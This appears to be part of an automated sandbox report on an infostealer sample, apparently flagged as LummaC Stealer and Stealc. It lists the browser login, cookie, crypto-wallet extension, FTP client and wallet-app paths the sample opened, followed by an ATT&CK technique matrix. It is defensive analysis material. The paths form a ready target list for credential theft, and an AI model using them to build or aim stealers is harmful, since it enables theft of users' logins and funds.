Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 0.3.s31ydU1MpQ.exe.12c3191.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.s31ydU1MpQ.exe.12c3191.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1415425762.000000000131C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1415661013.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1415818290.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1367343816.0000000001319000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1415450918.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: s31ydU1MpQ.exe PID: 6440, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: s31ydU1MpQ.exe PID: 6440, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000B.00000003.1623078762.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1683875991.000000000103E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1681988687.0000000000681000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BGXAMSUR4L24WR8IH77.exe PID: 484, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	2 Bypass User Account Control	371 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	371 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
